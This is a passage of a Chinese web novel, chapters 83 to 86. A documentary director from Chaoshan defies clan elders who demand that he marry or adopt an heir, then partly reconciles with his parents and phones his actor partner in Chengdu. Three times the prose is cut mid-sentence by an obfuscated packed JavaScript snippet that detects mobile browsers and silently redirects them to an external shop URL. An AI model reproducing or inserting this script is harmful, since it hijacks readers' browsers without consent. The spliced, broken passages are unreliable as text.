“声和是正经大学生,如今是华央纪录片导演,去年还获过奖。”她说华央两个字时带着潮汕人的骄傲腔调,就像说李XX是我们潮阳人时一样。 “华央?”二叔公冷笑时,假牙在牙龈上轻轻晃动。老人家去年装了进口种植牙,却坚持说这是汕头大学附属医院做的。 “他拍的那些潮绣纪录片,绣娘的手倒是拍得仔细。” 祠堂里的声音让陈声和脑海里浮现出李霄川的曾经打趣的话:“你们族老要是看过我演的许仙,怕是要气死。” 他伸手按住母亲发抖的手腕,触到那对龙凤镯时,冰凉的金属下传来急促的脉搏。 “问丁茶还没喝。” 第一杯苦丁茶入喉,舌根立刻泛起麻痹感。 青瓷杯里的茶汤晃了晃,涟漪荡开,倒映出祠堂横梁上褪色的彩绘,那颜色让他想起另一张脸。 83.封建还是传统? 重逢拍摄川剧变脸时,李霄川卸妆后对他说:“你们潮汕人把传统当枷锁供在神龛,顶在头上。我们川人,是把它揉进血肉筋骨,化在市井烟火里,最后活成自己。” 想到这儿,陈声和自己也时常愣住。 他总会反复咀嚼这个问题,是在阿妈每一次在电话里提起家族、香火时,他看着窗外成都的灯火,会觉得无比迷茫。 这到底是值得守护的传统,还是勒进肉里的枷锁?或者说,它根本就是一套早已过时、该被扫进历史角落的腐朽规矩? 不,答案是否定的。 想到阿公阿嬷在祠堂里虔诚的侧影,想到工夫茶里浸透的人情冷暖,他心里有个声音变得清晰。 这不是枷锁,也不是腐朽,更不是轻飘飘一句“封建残余”就能概括的。 它更像是一棵盘根错节的老树,他在这棵树的荫蔽下长大,如今却感到了树根令人窒息的缠绕。 树本身没有罪过,有罪的是……想要砍断它、却又怕树倒猢狲散,懦弱的自己。 这是他的根,是他之所以成为陈声和的一切。是他永远无法剥离的来处,更是他此刻所有痛苦的源头。 因此,它没有错,只是……对他来说太沉了,沉到他一个人几乎背不动。 陈声和面不改色地咽下去,听见二叔公冷笑:“不过继,那就娶。” “我不娶。”第二杯蜜兰香滚过喉管,烫出一线灼痛,他放下茶杯的力度恰好压住尾音的颤抖,“也不结婚。” 祠堂里炸开的骂声像沸水泼进油锅,族老们看着他满脸都是恨铁不成钢。 三堂叔的茶盏“啪”地砸在地上,瓷片溅到陈声和裤脚,沾着几片湿漉漉的茶叶。 “你爹就你一个种!” “所以呢?”第三杯单丛茶的香气在空气中弥散,陈声和注视着茶汤里浮沉的叶片,“把我拆了分给祖宗?” 水面晃动的波纹里,他仿佛看见李霄川第一次喝单丛时皱着脸说“像铁锈”的模样。那人抱怨完,却偷偷把茶叶罐塞进他书包,罐底用记号笔涂鸦似的写着:比铁锈香。 “反了天了!”二叔公的拐杖跺地声震得供桌烛火一颤。 陈声和抬起头,正看见父亲剧烈咳嗽时从指缝滚落的药片。 他弯腰去捡,父亲带着药味的气音钻进耳朵:“够了。” 供桌垂落的桌布下,露出一截磨出毛边的布鞋后跟,鞋底还沾着茶山的红泥。 问丁继续,第四杯普洱还没喝上,就被泼在族谱上,深褐色的茶渍像一只缓缓睁开的眼睛。 三叔的质问紧随其后:“你拍的什么非遗?上个月电视里那些绣花枕头?” 又是一声清脆的碎裂声响,这回飞溅的瓷片几乎擦过他的膝盖。 陈声和看着一地狼藉,忽然觉得无比荒谬。他们究竟是希望他幸福,还是只把他当成了延续香火的工具? 族老们指着他鼻子,骂得唾沫横飞,说他是不肖子孙。他就那么直挺挺地跪着,不吭声,也不躲。 直到所有声音都疲倦了,祠堂里静得仿佛都能听见灰尘飘落的声音。 这时,陈声和才不慌不忙地,摸出了自己的手机。他在屏幕上滑动几下,随后将屏幕面对众人。 “这是□□批准的,是国家级非遗项目,潮绣、木雕、功夫茶、潮剧。”他手指轻点报表数字,“每项申请到的保护资金,都够买十间茶行。” 祠堂突然陷入窒息的寂静,连族长滑落的老花镜都停在鼻尖不敢再动,他没想到这个文静的侄孙能说出这么硬气的话。 正午的阳光透过格栅窗,将祖宗牌位切割成明暗相间的囚笼。 二叔公却依旧不依不饶,拍桌的巨响惊得屏风后的女眷们齐齐一颤:“你不娶妻也不过继,族里怎么信你?家族的名声还要不要了?” “去年祠堂重修,”陈声和解下腕表,他用表带轻叩电子功德箱的二维码,“30万走的是公司账没错吧?财务上叫品牌赞助,抵了税20%也没错吧?” 话音刚落,功德箱适时地发出微信到账一千元的提示音,陈声和知道,这是堂姐捐的。 所有人都是一愣,目光齐刷刷转向声音来处。 陈声和看见屏风缝隙间,堂姐飞快缩回的手,装作什么都没发生。目光又扫过大伯,见他只是微微皱眉,便收回了视线。 祠堂偏厅里,女眷们边折元宝边闲话家常。金箔纸的沙沙声和檐角铜铃的脆响混在一起。 陈婉琼拿在手中的浆糊刷突然一滑打翻了糯米浆,倾翻在过继文书上,潮汕老规矩,文书污损得另择吉日重签。 “哎呀!”她故作懊恼,甩着沾满浆糊的手,“公司那个广州会计凶得要命,非说过继要公证抚养费才能抵税,麻烦死了!” 这一甩,浆糊点子不偏不倚,正好糊住了“过继人”三个关键字。 三婶一看急了,腕上的金镯子哐当撞在供盘上:“小孩子去成都学坏了可怎么办?还是留在潮州最好!” 她胳膊下压着的一张照片边缘已经卷了毛边,正是刚才提议,要过继给陈声和的那对双胞胎。 “现在的年轻人啊,”三婶重重放下茶盏,又不咸不淡地说,“不结婚不生娃,整天往外跑,这是要让我们陈家绝后啊!” 这话指桑骂槐的,就差直接点名陈声和了。 同辈里没结婚的一共三个,除了陈声和,另外两个一个在香港搞金融,一个在马来西亚做生意,天高皇帝远,根本听不见这些闲话。 这明摆着就是针对声和来的。 这时,一直低头玩手机的堂姐忽然插了句话,像是随口提起:“声和只顾着赚钱拍纪录片,不过给祠堂捐钱今年一个人就捐了快六十万吧?” 陈婉琼立刻接过话头,把金箔纸折得哗啦响,指甲上的丹蔻刮过纸面:“可不是嘛!这孩子连施孤的孤衣都要订防水的,净瞎讲究,乱花钱,真是不懂事!” 她故意把“防水”两个字咬得特别重,顺手就把那团被浆糊泡烂的文书扔进了焚纸炉。 火苗蹿起来,浆糊烤出淡淡的糯米香,总算把这场逼宫戏给烧没了。 三婶被这俩人一唱一和堵得说不出话,瞥了眼炉火,终究没再吱声。 …… 祠堂天井的石板地上落了层薄灰,昨夜祭祖烧的纸钱灰被风推着打旋。 陈伟杰弓着腰给族老递中华,自己嘴里却叼着半截双喜。烟都快烧到手指头了,白烟掺着冬天的寒气,缠在他那已经花白的鬓角边。 “深圳陈会长发话了,”他弹烟灰时,袖口里时隐时现半块劳力士,“现在上市企业,都得搞现代化管理。” 烟头往祠堂角落一指,那儿新装了个电子功德箱,不锈钢映出族长一下子沉下去的脸:“老一套要是不改,连IPO的门槛都摸不着喽。” 族长假装没听见,推了推老花镜,目光在人群里扫了一圈,最后停在陈声和身上:“阿和, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007024|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你那纪录片组,顺带帮祠堂拍个宣传片吧?镇里要评文化示范点。” 他说话时,手里俩核桃搓得沙沙响,听着就硌得慌。 陈声和轻轻点了点头。 从这个角度,正好能看清供桌上五个空茶杯,苦丁茶渣堆在杯底像座小山,蜜兰香的茶叶舒展开来,单丛茶的茶梗直挺挺立着,像根想冲破水面的小桅杆。 “那就这么定了。” 大伯拍板的声音又沉又响,惊得檐下灰鸽扑棱棱飞走。他手上的翡翠扳指磕在族谱烫金的封面上,像盖了个印。 “过继的事……”他顿了顿,意味深长地瞥了陈声和一眼,“等阿和四十岁再说也不迟。” 说完,他把一份薄薄的合同推过桌面,指关节在“甲方”旁边重重敲了两下。 陈声和垂下眼走过去。摊开的纸页上,白纸黑字直往他眼里跳。 第一条:配偶人选须优先考虑本地籍。 他拿起那支钢笔,冰凉的金属贴着手指,笔尖悬在签名处,像戏台上将落未落的枪。最后那一下,他顿了顿,墨水无声地晕开,在“陈声和”三个字的末尾,吞掉了一个小小的缺口。 就像他的人生,永远缺了一角,还得在众人面前装得圆满。 分祭肉的铜盘转到他面前时,他那份素斋在一堆油光发亮的烧肉卤鹅中间特别显眼。金黄的腐竹卷炸得酥酥脆脆的,却像尊褪了色的木雕神像,端正又孤单。 “阿叔。” 堂哥的儿子不知什么时候蹭到了身边。十六岁的少年,掌心带着潮热的汗意,把那包偷藏的芙蓉王捏得包装窸窣作响,眼里闪着对外面世界莽撞的向往。 “我……我暑假能去成都你那边玩玩吗?就两天……” “你妈同意了?” 侄子挠挠头:“阿叔你说行就行。” 陈声和没再接话,只是看着他淡淡一笑,伸手把他手里那包捏得温热的烟拿过来,揣进了自己西装内袋。 他抬头望向祠堂外。母亲正端着糖狮分给外地来的游客,衣服盘扣上那朵金木棉在淡淡的冬日里晃眼。 她转身时,后颈露出一小块没抹匀的珍珠膏。 陈声和低头咬了口冷掉的腐竹卷。酥脆的豆皮在嘴里碎裂,藏在里面的芋泥突然涌出来,厚重的甜味席卷了口腔。 他望着天井上方四四方方的天空,此刻,李霄川的声音仿佛就在耳边响起,总笑他像块潮汕老菜脯。 “看着干巴巴的,泡开了比谁都鲜。” …… 祠堂的冬祭结束已近黄昏,天井里的香炉还飘着几缕残烟,灰白的烟丝被穿堂风扯得细长。 陈声和站在廊下,看着族亲们陆续离开,有人低声议论,有人刻意避开他的目光,鞋底碾过地板的声音连续不断。 只有堂姐走到他身边,对着他眨了眨眼,然后无声的说了句:你怪强! 陈声和淡淡一笑,堂姐这才搀扶着大伯放心离开。 他摸了摸西装内袋里的手机,屏幕亮起又熄灭,团队发来的消息还没回,纪录片后期工作已经不能再拖了。 但此刻,他得先回家。 父亲的车就停在祠堂外,黑色的奔驰沾了层薄灰。他摇下车窗,没说话,只是看了儿子一眼。 陈声和拉开车门坐进去,车厢里弥漫着淡淡的茶香和烟味,副驾驶座上放着一本翻旧的族谱。 “回家再说。”父亲只说了这一句,便发动了车子。 84.地域百科? 陈家的老宅在潮州老城区,三进四点金的格局,天井里种着两株老梅,花苞开得正盛,影子斜斜地投在斑驳的墙面上。 母亲已经回来了,正坐在客厅的藤椅上,手里攥着什么东西,见他们进门,立刻收了起来,但陈声和还是看见了。 “阿妈。”陈声和轻声唤道。 母亲没应,只是低着头,肩膀微微颤抖,藤椅发出细微的吱呀声。 父亲径直走到神龛前,点了三炷香,拜了拜,插进香炉。烟雾缭绕间,他的背影显得格外沉默,香头明明灭灭,映着祖宗牌位上的金字。 陈声和走到茶几旁,倒了杯茶,茶汤浓得发苦,杯底沉着几片茶叶梗。 “祠堂的事,你们想说什么就说吧。”他开口时声音比自己预想的要平静。 父亲慢慢转过身,眼神锋利无比,香炉里的烟正好飘到他面前,让他的表情有些模糊不清。 “你以为你今天在祠堂很威风?”他的声音压得很低,怕被外面的谁听见,“拿法律压族老?拿钱砸祠堂?!” 陈声和没急着反驳,只是放下茶杯:“爸,你知道现在外面怎么看潮汕的吗?” 他打开手机,调出一篇网络文章,《潮汕宗族:最后的封建堡垒?》,标题加粗的黑字像是故意的。 父亲扫了一眼,冷笑了一声:“网上的东西,你三岁小孩吗?” “外头人怎么看潮汕,是他们的自由。”陈声和将手机屏幕转向父亲,声音沉了几分,“但我们自己怎么做,才是根本。” 他点开短视频软件,搜索潮汕传统,跳出来的前几条视频都是最刻板的印象。视频里夸张的表演和阴阳怪气的配音,让陈伟杰听的眉头越皱越紧。 陈声和利索地关掉页面,又点开另一个软件:“您再看看这个。” TikTok上,“Chaoshan in China”的搜索结果里,充斥着国外对潮汕的刻板印象:宗族、迷信、排外。 “这些半真半假,甚至也有本地人出来证实,传播量高达几百、上千万。”他抬头看着父亲,“而我们真正的文化呢?木雕、潮剧、工夫茶、潮绣……没人看。” 陈声和自己拍的潮汕非遗纪录片,在海外平台费尽心血,播放量却抵不过一条为了博眼球而抹黑潮汕的三十秒短视频。 他看着父亲,语重心长:“我们这片地方,好像总也甩不掉这些刻板标签。难道在乎传统,就活该被钉死在这些偏见里吗?” 事实究竟又是如何? 说“是”,也对。 因为旧观念确实在一些角落根深蒂固,就像老房子墙角的霉斑,真实存在着。 说“不是”,更对。 那些传统,早就是他们骨子里的一种信仰,一种精神寄托。 你说“潮汕人家必须生儿子,家产根本没女儿的份”,转头就有人站出来拿房产证怼你:“放屁!我家就是潮汕的,两个女儿都是宝,爸妈早把房子写好了我俩的名字。” 他说“我家就不存在重男轻女,也没有不生儿子就继续生这种说法”,也照样有人会跳出来说:“坐标潮汕XX,我们这儿就是生到儿子为止,独生女?反正我没见过。” 一个标签贴上来,就必然有活生生的人把它撕下去。 但转念一想,又何止是潮汕呢? 全国哪个城市没被贴上几张甩不掉的标签?哪个不是一肚子委屈? 联网上总流行着这样的地域百科: “成都遍地是零,东三省全是能动手绝不动嘴的狠人,河南人专跟井盖过不去,甘肃人离了洋芋活不成,云南嘛,就一个字,穷。” 当评论区敲下这些梗的时候,谁会真拿着话筒去普查过成都几千万人口,到底谁是零?都来自哪里? 没有人愿意去了解,是怎样一座城市,让几千万鲜活个体,有了截然不同的故事与心跳。 谁又曾用自己的镜头抚摸过东北:沉默的厂房,厚重的冬天,以及那粗粝生活打磨出,比炉火更持久的热望;去记录过河南无数个平凡的清晨,井盖完好无损,行人来去匆匆? 那被调侃“离了洋芋活不成”的背后,是甘肃严酷的自然条件与一代代人的生存智慧。谁曾踏上甘肃干旱的土地,去“理解”那金黄洋芋背后,是一方水土无奈却坚韧的哺育? 说“云南人穷”的时候,他们真的看见过云南吗?看见过那里连绵的边境线上,那些沉默的守护者吗? 他们用血肉之躯抵御的风险,他们肩上扛着的责任,岂是“穷”这个单薄字眼能够丈量,“骑大象”这种浪漫想象能概括的? 标签是快的,理解是慢的。 段子是扁的,人是立体的。 一个地方的监狱里都不可能只关着本地人,怎么,一个地方的美德和人才,倒必须是“外地特供”才显得合理? 那漫长的边境线,围住的是国门。若无人守护,谁还能安心在每个评论区,敲下那些将自己也困在狭隘标签里的字句? 然而,这或许正是网络时代的悖论。 它让我们轻易地“看见”远方,却也可能让我们离真实越来越远。世界被折叠进方寸屏幕,了解一个地方,似乎不再需要行走、品尝与眺望。 一段几十秒的视频,就足以让我们对千里之外的水土与人群,下一个斩钉截铁的结论。 大家滑着手机,从都市霓虹刷到戈壁孤烟,从精致生活刷到粗粝劳作。 视频里说什么,我们便信什么;配什么音乐,我们就代入什么情绪。一首悲情BGM,能让寻常街景显得愁云惨淡;一段激昂配乐,便能将平凡土地渲染成希望热土。 可几十秒,装不下一条老街的烟火,装不下一方水土的复杂,更装不下万千鲜活的人生。我们在效率中得到了全世界的地图,却可能正在失去走近任何一个人或事物的耐心。 潮汕的困境,是中国无数地域偏见的缩影。往上数,是十几亿颗迥异的心,谁能被一种声音就给代表了呢? 屏幕前的每一次哄笑、转评、贬低,其背后,都可能是一次思考的荒凉。人不能只盯着墙上的一道霉斑,就断言整面墙都烂透了。 但总得有人,去对抗这种扁平。 陈声和再清楚不过,他堵不住那浩瀚如海的众声。但他能用镜头,管住自己的焦点,去对准那标签之下,真实、立体、澎湃的心跳 既然时代把接力棒递到了他们这代人手里,那些发霉的墙角,总得有人先抡起锤头。他愿用镜头作凿,让外界看见一个血肉饱满、呼吸着的潮汕。 这凿开的缝隙,不仅要透进光,更要成为出口。 他想托一把像黄嘉雯这样的女孩,让她们能飞出祠堂的桎梏,不必再将人生圈定在婚育这一条窄路上。 祠堂的屋檐,不是她们唯一的天空。她们本就可以是鹰,值得奔赴更旷远的山海,而非一生都被“母亲”或“妻子”的身份束缚在原地。 现实的高墙何其厚重。 男人们高谈阔论,动动嘴皮子就是规矩,道理全让他们说了,苦果却要女性来咽。 去他爹的,这哪里是规矩。 所谓规矩、体统、香火传承,不过是千百年来精心编纂的“男性生存指南”。每一页光鲜的体面下,都浸着女性沉默的血泪。 因此,这破指南,早该焚烧个稀巴烂! 连带着一切假借传统、家族或爱之名,行规训、剥削与牺牲之实的规矩,无分轻重,都该被掀翻。 女性的身体与命运,主权仅属于她们自己。 真正传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007025|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承,也不该被性别定义能与否,传下去的应该是那份心意、那份本事,是人心里那团火、手里那身功夫,不是□□里那点分别。 现在这一代要是缩着头不去改变,那就下一代,下下代。陈声和相信,总有一代人,会站出来抡起铁锤,把这些不该有的枷锁,彻底砸个粉碎。 父亲沉默了许久,久到烟灰缸里又添了四个摁熄的烟头。直到手指的烟蒂灼痛了皮肤,他才恍然回过神。 “所以你折腾这么些年,不娶妻,也不过继……就是为了拍这些,去改那些别人眼里天经地义的事?” “不全是。”陈声和直视父亲,喉结滚动了几下才说,“我只是不想看着我们的祠堂变成短视频里那些猎奇的标签,变成外地人茶余饭后看个热闹的玩意。” “我想让潮汕被记住的,是英歌舞在潮汕传承得很好,是潮绣的魅力,是工夫茶里沉淀的百年礼数……而不是祠堂里那些陈旧的规矩,不是女性必须生儿子的枷锁,更不是只懂得拜神却不懂得敬人的愚昧。” 母亲终于忍不住,抽泣出声,手里那张纸被她攥得死紧,边角都捏皱了。 “阿和……”她声音抖得厉害,“你可就一个啊……” 陈声和缓步走到母亲面前,慢慢蹲下身子。他伸手握住母亲的手,这双手比记忆里瘦多了,摸上去冰凉,关节硌人。 “阿妈,我知道。”他拇指轻轻搓着母亲手背上凸起的血管,声音放得很软,“可现在时代不一样了。” 母亲的手颤抖了一下,握住他的手用了很大力气。 陈声和看到她手心里攥着一张对折的纸,边缘已经被汗水浸得发皱。他小心地展开,果然是那份过继文书。 “三叔公想把他家那对双胞胎过继给你,嘴上说是帮咱们续香火,其实……”她顿了顿,把话挑明,“就是看中你现在条件好,又没孩子,想给自家孙子铺路。” 陈声和怎么会不懂这里头的弯弯绕绕。 一个家族里,哪能人人都风光的?多得是心比天高、命比纸薄的。 可偏偏,人心不足蛇吞象。 那些人自己立不起来,眼睛却死死盯着站得高的。看见谁家发达了,心里头就跟蚂蚁爬似的,又酸又痒,背地里恨不得你明天就栽跟头。 转头看见哪家不如意了,鼻孔又翘到天上去,唾沫星子里都带着鄙夷,好像踩别人两脚,自己就能高贵几分。 这头嫉妒着别人的“有”,那头又鄙视着别人的“无”。 典型的恨你有,笑你无,嫌你穷,又怕你富。 “我是独子,我认。这个家该我担的责任,我一分都不会推。”陈声和喉结滚动了一下,“可世界在往前走,人的活法也不止一种。” 母亲猛地别过脸去,一滴滚烫的泪砸在纸上,晕开一小片湿痕。 “你不结婚不生孩子……”她泣不成声,“让你爸和我……死了都没脸进祖祠啊……” 陈声和深吸一口气,拇指在母亲手背上用力按了按,仿佛要将自己的信念传递过去:“阿妈,我用我的方式让家族的名字被更多人记住、尊重,这难道不是另一种光宗耀祖吗?” “人这一辈子,满打满算几十年,为什么非要为了一个看不见摸不着的传承,把自己活着的这点滋味全都赔干净?” 别人怎么想,他管不着,也不想管。 他陈声和这辈子,不服这个绑,他偏不要妥协,偏不要为了成全别人的眼光,亲手把自己的幸福给绞碎。 至于将来百年后? 身前哪管身后事? 人死如灯灭,骨头烂在土里,谁还管得着碑朝哪边立,香火谁来续? 若真有魂灵,他宁愿化作一阵清风,绕着山河人间,也比困在冰冷的牌位前自由快活。 85.整整五年了 客厅里霎时间静得可怕,落针可闻。陈声和眼角的余光瞥见,一直沉默的父亲,手死死攥成了拳,青筋暴起。 过了好一会,父亲才深吸一口气,走回茶几旁,重新倒了杯茶。茶水注入杯中的声音在安静的客厅里特别响。 “……茶叶厂去年注册了视频号。”他突然说。 陈声和愣了一下,没想到话题会转到这上面:“播放量怎么样?” “惨不忍睹。”陈伟杰哼了一声,“那群后生仔拍的什么玩意儿!” 陈声和嘴角弯了一下又马上抿住:“我可以让人帮你们重新策划。” 陈伟杰没接话,只是闷头喝了口茶。过了会儿,他从西装内袋里摸出一张折得方方正正的纸,推到玻璃茶几上。 纸滑过桌面,发出沙沙的轻响。 陈声和拿起来展开。是份电商产业园的合作意向书,边角都磨得有点起毛了,一看就没少被翻来覆去地看。 “深圳那边抛过来的橄榄枝。”陈伟杰说着,眼睛却盯着杯子里浮沉的茶叶,“族里老辈儿不答应,说这坏了祖宗定下的规矩。” 陈声和抬头,看见父亲鬓角新添的白发在灯光下分明:“您自己是想做的,对吧?” 父亲没直接回答,反而扭头朝厨房方向喊了一嗓子:“阿玲,你那甜汤是不是快好了?” 母亲擦了擦眼角,起身时裤子窸窣响了两声,脚步声慢慢远了。 陈声和深吸一口气,身体不自觉地向前倾了倾:“爸,现在早就不光是搞搞自媒体那么简单了,那波红利已经吃完了。接下来,是得打造个人品牌的时候了。” 他点亮手机屏幕,手指划过几个粉丝量巨大的非遗创作者主页:“你看这些年轻人,他们不再只是机械地宣传‘传统文化有多好’,而是在分享‘我的生活有多酷’。” “他们可以是穿着汉服打卡城市的摄影师,也可以是边煮工夫茶边讲职场段子的白领。传统不再是需要供起来的老古董,反倒成了显摆自己个性、彰显生活品味的时髦玩意儿。” “咱们要是还抱着老一套的讲法不放,不出三年,祠堂里长大的那帮小年轻,怕是听都懒得听了。不是传统不好,是讲述传统的方式,老了。” 父亲向后靠在沙发上,半眯着眼睛:“照你这么说,传统都是错的了?祖宗传下来的规矩,到你这就一文不值了?” “我没说它们一文不值。”陈声和叹了口气,“祖宗传下来的工夫茶,我们不是还在喝吗?祠堂里那些木雕,现在的工匠有几个能刻得出来?我们要守住的,是这些真正的好东西。” 他直视着父亲微微发红的眼睛:“而不是那些……绑住活人手脚的死规矩。” 客厅里一时间没了声音,父子俩对视着,空气中弥漫着无声的疲惫与固执。 半晌,父亲像是突然泄了气,肩膀微微塌了下去。 他躲开儿子灼人的目光,扭头看向窗外浓重的夜色,喉咙动了动,声音轻得几乎听不见:“你三叔公家那个大孙子……今年在广外,念的也是传媒。” 陈声和瞬间明白了父亲的用意,心脏在胸腔里重重跳了一下。 “暑假让他来我公司实习吧。”他接话,声音比平时硬了几分,“但有个条件,得来之前,先给祠堂的阿嬷拍个讲古的视频,要潮汕话原声,还得……配上英文字幕。” 父亲盯着他看了一会儿,突然从鼻子里哼出一声,嘴角松了松。 “臭小子。” 这时,母亲端着姜薯甜汤回来了,瓷碗碰着托盘,叮叮当当一阵脆响。碗底沉着几颗红枣,在琥珀色的汤里依稀可见,看着就暖和。 她弯腰放碗时,胳膊肘“不小心”一带,把旁边的针线筐给碰倒了。里头的绣绷咕噜噜滚出来,那幅石榴花才绣到一半,光秃秃的一枝,在白缎子上看着有点孤单。 父亲眼皮抬了抬,瞄了一眼地上的东西,没吭声,只是默不作声地拉开茶几抽屉,摸出打火机。喀嚓一声,火苗蹿起来,映得他脸上的皱纹一道一道,更深了。 那份过继文书的复印件,边角很快被火舌舔着,卷曲起来,变黑,最后化成灰,轻飘飘落在茶盘里。余温烘着,那些灰烬还微微打着颤。 嗡嗡~ 陈声和搁在茶几上的手机屏幕应声亮起。他划开一看,是李霄川发来的一张照片。 拍的是一枚迷你川剧脸谱,旁边还挂着个茶叶形状的小吊坠。 底下配了仨字:【小广仔】 电视里,本地新闻正播到尾声,女主播的声音字正腔圆:“侨联近日启动新家谱计划,明确支持多元家庭结构进行申报……” 父亲突然咳嗽了一声,陈声和连忙把手机屏幕按灭了。父亲这才缓声开口:“明天记得去祠堂一趟,找人来把那个电子功德屏的程序给升级一下。” “知道了。”陈声和应着,目光又忍不住瞟向暗下去的手机屏幕。 夜风从窗户缝里钻进来,带着冬天的那种干爽凉意,可手里的甜汤暖着,一冷一热两种气息混在一块儿,说不清是什么滋味。 …… 回到自己的房间陈声和关上房门,屋内只亮着一盏暖黄的台灯。 窗外,老城的冬夜静悄悄的,偶尔传来几声犬吠,又很快归于沉寂。 老宅的二楼还保留着他高中时的样子,书架上塞满旧课本,墙上贴着几张黄色的奖状,写着市中学生摄影比赛一等奖。 他坐在床边,手死死攥着床单上的褶皱。眼泪掉得毫无征兆,一颗接一颗砸在膝盖上,很快就被布料晕开,连个水痕都没留下,像这五年里他咽下去的无数情绪。 五年了……整整五年…… 陈声和喉咙里泄出一声被堵住的呜咽,像受伤的小动物。 这五年他过得像个游魂,白天是人前体面的儿子、能干的导演,晚上却连镜子都不敢仔细照。 他认不清里面那个人是谁。 他当不了真实的自己,也做不成父母理想中那个“完整”的儿子,卡在中间,被两股力量撕扯着活。 他曾经绝望地想,这场漫长的拉锯战,或许真的要耗上一辈子。 他以为父亲那堵墙,又冷又硬,会永远挡在那里。 他以为……他和李霄川,就要这样被隔在两端,各自煎熬,直到两个人都头发花白,带着这份遗憾和痛,走进坟墓里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007026|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可今天,父亲竟然松口了。 虽然只是疲惫又苍老的一句“臭小子”,虽然什么好听的话都没说。 但就是这一句…… “呜……呃……” 陈声和猛地将脸埋进枕头里,整个背脊都在颤抖。 这五年积压的委屈、挣扎、自我怀疑、无数个日夜的辗转反侧,还有那份不敢言说的思念……像决堤的洪水一样冲垮了他。 枕头很快湿了一大片。 这其中的千般苦、万般痛,除了他自己,没有人能真正懂得。 不知过了多久,陈声和才慢慢平复下来,他努力深呼吸几次,终于拿出手机,拨通了那个烂熟于心的号码。 听筒里只“嘟”了一声,立刻就被人接了起来。 “……喂?”李霄川的声音透过听筒传来,低低的,带着一点电流的杂音,却让陈声和的心颤了颤。 陈声和突然觉得喉咙发紧。他清了清嗓子:“在干嘛?” “刚练完功。”李霄川的声音里带着明显的疲惫,“你呢?家里……怎么样?” 陈声和仰面躺倒在床上,床垫发出轻微的吱嘎声。他盯着天花板上那道自高中时就存在的裂缝,是某次台风天留下的痕迹。 “刚和爸妈谈完。”陈声和闭上眼,声音轻松了许多,“比想象中好一点。” 电话那头沉默了一会儿,然后李霄川的声音才响起来,带着点不确定:“你爸……没跟你急眼吧?” “没。”他吐出一个字。 两边又都不说话了。 但这沉默跟之前那种小心翼翼的试探不一样,这会儿的安静,倒像是俩人之间隔着的那五年突然被抽走了,只剩下电话线里流动的细微电流声,有种奇怪的平静。 陈声和在床上翻了个身,把手机更紧地贴住耳朵,几乎能听到对方那边轻微的呼吸声,还有衣服布料摩擦的窸窣轻响。 “你呢?今天剧场没演出啊?”他换了个话题。 电话那头顿了顿。背景音里传来窗户被推开的声音,成都夜间的车流声隐约可闻。 “……停演了。”李霄川的声音听起来有点飘,没什么力气,“团里说,最近……风声有点紧,让避避。” 陈声和睁开了眼睛。窗外的月光透过薄薄的窗帘渗进来,在天花板上投下一片模糊晃动的水影光斑。 他知道李霄川在说什么,那些闹得沸沸扬扬的照片,还有网上传的什么川剧演员和导演不清不楚的闲话。 “这样挺好。”陈声和突然开口。 “……啥子安?” “你正好歇一阵。”陈声和翻了个身,整张脸埋进枕头里,棉布料把他声音里那点抖都吸走了,“肩膀的伤还没好利索,前阵子你也拼太狠了。” 电话那头传来窸窸窣窣的动静,听着像是李霄川也躺下了。 李霄川哼唧一声:“咋子,嫌我老了嗦?” “就是嘛,”陈声和闷闷地笑,“李老板快三十的人了,该学会保温杯里泡枸杞了。” “扯淡!老子才二十八!” 陈声和听着电话那头炸毛的动静,嘴角忍不住翘了起来。 86.就不怕……我不回来? 窗外,一阵夜风吹过,老树的影子在窗帘上摇曳。 他握着发烫的手机,忽然意识到这通电话已经持续了两个小时。 他们聊天的节奏自然而然地慢下来,中间偶尔夹杂着短暂的沉默,却不再像重逢初期那样充满试探。 李霄川正絮叨剧团新来的小学徒,说那娃儿第一次勾脸就把张飞画成了媒婆样。 “你没看到师父那张脸哦,”他语气里带着熟悉的调侃,“简直像生吞了二两花椒。” 陈声和没忍住笑出声,顺势也讲起自己组里新来的剪辑,把英歌舞的气势磅礴剪成了广场舞的热闹喜庆。 话题在工作和生活间来回切换,就像多年前他们在校园里散步时的闲聊。 陈声和的拇指摩挲着手机边缘,在说到某个话题的间隙,他听见自己的声音说:“对了,我最近,在看房子……成都的。” 电话那头突然没了声音,连呼吸声都变得清晰入耳。 “……什么?”李霄川的声音有点发紧。 “我说,”陈声和盯着天花板上的裂缝,他故意放慢语速,让每个字都变得清晰,“想在成都买套房。你有空的话,帮我去看看?” 电话那头传来一阵窸窸窣窣的声音,像是李霄川突然坐直了身子:“陈导这是继承家产了?” 